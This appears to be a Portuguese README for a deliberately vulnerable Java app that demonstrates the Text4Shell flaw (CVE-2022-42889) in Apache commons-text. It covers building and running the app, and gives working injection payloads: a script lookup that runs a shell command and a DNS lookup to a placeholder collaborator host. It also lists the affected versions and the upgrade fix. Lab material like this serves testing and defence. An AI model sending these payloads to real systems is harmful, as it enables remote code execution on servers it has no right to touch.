
Aplicação de Prova de Conceito para testar CVE-2022-42889
Esta é uma aplicação vulnerável desenvolvida como Prova de Conceito para a vulnerabilidade CVE-2022-42889.
Para executar isto, você precisará de:
git clone https://github.com/securekomodo/text4shell-poc.git
cd text4shell-poc
mvn clean install
Isto criará a pasta ./target e dentro dessa pasta deverá estar o arquivo JAR text4shell-poc-0.0.1-SNAPSHOT.jar
java -jar ./target/text4shell-poc-0.0.1-SNAPSHOT.jar
Isto iniciará um servidor web no seu localhost ouvindo na porta 8080 por padrão
Acesse o servidor web em http://localhost:8080/ e você deverá ver a seguinte saída
Text4Shell POC Test -@securekomodo
Send payloads to /reflected?poc=yourpayload
OR Send payloads to /blind with payload as your userAgent
Exemplos de Payloads de Exploração
${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/itworked')}
${dns:<burp collaborator host>)}
Codificador de URL recomendado para demonstração bem-sucedida do exploit: https://www.urlencoder.org/.
Alternativamente, você pode usar Docker para executar este PoC:
git clone https://github.com/securekomodo/text4shell-poc.git
cd text4shell-poc
docker build --tag=text4shell-poc .
docker run -p 80:8080 text4shell-poc
http://localhost/
${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}
${dns:<burp collaborator host>)}
Codificador de URL recomendado para demonstração bem-sucedida do exploit: https://www.urlencoder.org/.
Alternativamente, você pode validar a eficácia de ferramentas de varredura como text4shell-scan
Para que seu código esteja vulnerável, você precisa de:
commons-text da versão 1.5.0 até (não incluindo) 1.10.0A correção para isto é atualizar suas instâncias de commons-text para versões 1.10.0 ou posteriores.
Bryan Smith